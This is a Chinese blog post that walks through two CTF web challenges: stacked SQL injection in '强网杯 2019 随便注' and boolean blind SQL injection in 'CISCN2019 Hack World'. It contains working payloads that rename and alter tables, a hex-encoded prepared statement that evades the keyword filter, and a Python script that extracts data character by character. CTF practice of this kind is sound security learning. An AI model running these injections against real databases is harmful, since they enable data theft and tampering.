[强网杯 2019]随便注+CISCN2019 Hack World

这道题考察的是堆叠注入,order by判断出有两个字段
在这里插入图片描述

这里也过滤了一些关键词
在这里插入图片描述
看到有两个表,flag字段在那个纯数字的表里,但是无法查询得到
在这里插入图片描述
words有两列,id和data(一会第一种方法要用到)

1';show columns from `1919810931114514`;#
这里的反引号用来表示表名,这里必须加上,但是words表不用加,这里猜测和表的数据类型有关,纯数字型的要加上

在这里插入图片描述
纯数字的表里只有一个字段是flag,且不能看到内容

第一种方法
修改数据库的结构

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

在这里插入图片描述
第二种方法
mysql预处理

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# 
//select * from `1919810931114514`

在这里插入图片描述

[CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述

这里是一个盲注过程

在这里插入图片描述
当查询正确时会出现提示

import requests
url = "http://e476f431-331c-4d28-9d51-595625cb22c6.node3.buuoj.cn/index.php"
result = ''
for i in range(1,50):
    for j in range(45,125):
        print(j)
        payload = {"id":'(ascii(substr((select(flag)from(flag)),%d,1))=%d)'%(i,j)}
        output = requests.post(url=url,data=payload)
        # print(payload)
        # print(output.text)
        if "Hello" in output.text:
            result += chr(j)
            break
print(result)

自己写的一个小脚本

发布了32 篇原创文章 · 获赞 0 · 访问量 1340

猜你喜欢

转载自blog.csdn.net/weixin_43940853/article/details/104451085